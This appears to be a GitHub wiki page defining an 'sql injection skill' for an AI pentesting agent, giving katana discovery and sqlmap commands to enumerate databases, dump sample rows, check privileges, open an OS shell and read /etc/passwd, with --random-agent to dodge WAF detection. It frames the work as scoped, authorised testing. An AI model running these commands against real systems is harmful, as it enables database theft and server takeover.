-
Notifications
You must be signed in to change notification settings - Fork 324
sql injection skill
“samuele edited this page Mar 11, 2026
·
1 revision
Use this skill when the user requests testing for SQL injection vulnerabilities, including:
- Testing web application forms, URL parameters, or API endpoints for SQLi
- Exploiting known SQL injection points
- Extracting data from databases via injection
- Blind SQL injection testing (boolean-based, time-based)
Keywords: sql injection, sqli, database extraction, union select, blind injection, sqlmap
-
Identify injection surfaces — Use
query_graphto find web applications, HTTP services, and known endpoints on the target. -
Discover parameters — Use
kali_shellto run parameter and URL discovery:katana -u http://<target> -d 2 -jc -o urls.txt - Check technology stack — Identify the backend database type from service banners, error messages, or known stack info in the graph (MySQL, PostgreSQL, MSSQL, Oracle, SQLite).
- Map input vectors — List all GET/POST parameters, cookies, and headers that accept user input.
Once injection surfaces are identified, request transition to exploitation phase.
-
Automated scan with sqlmap:
sqlmap -u "http://<target>/page?param=value" --batch --level=3 --risk=2 --random-agent - Identify injection type — Determine if it's error-based, union-based, blind boolean, blind time-based, or stacked queries.
-
Enumerate databases:
sqlmap -u "<url>" -p <param> --dbs --batch -
Enumerate tables and columns:
sqlmap -u "<url>" -p <param> -D <database> --tables --batch sqlmap -u "<url>" -p <param> -D <database> -T <table> --columns --batch -
Extract proof data — Dump a limited sample to prove the vulnerability:
sqlmap -u "<url>" -p <param> -D <database> -T <table> -C <columns> --dump --start=1 --stop=5 --batch
-
Check database privileges:
sqlmap -u "<url>" -p <param> --privileges --batch -
Attempt OS shell (if DBA privileges exist):
sqlmap -u "<url>" -p <param> --os-shell --batch -
Read server files (if FILE privilege exists):
sqlmap -u "<url>" -p <param> --file-read="/etc/passwd" --batch
- Vulnerable endpoint and parameter name
- Injection type (error-based, union, blind, stacked)
- Database type and version
- Impact demonstration (databases enumerated, sample data extracted)
- Privilege level of the database user
- Always use
--batchwith sqlmap to avoid interactive prompts - Do NOT dump entire databases — extract only enough to prove the vulnerability (max 5 rows)
- Use
--random-agentto avoid WAF detection - If sqlmap fails, attempt manual injection before concluding "not vulnerable"
- Respect scope — only test endpoints within the Rules of Engagement
Getting Started
Core Workflow
Scanning & OSINT
AI & Automation
Analysis & Reporting
- Insights Dashboard
- Pentest Reports
- Attack Surface Graph
- EvoGraph — Attack Chain Evolution
- Data Export & Import
Reference & Help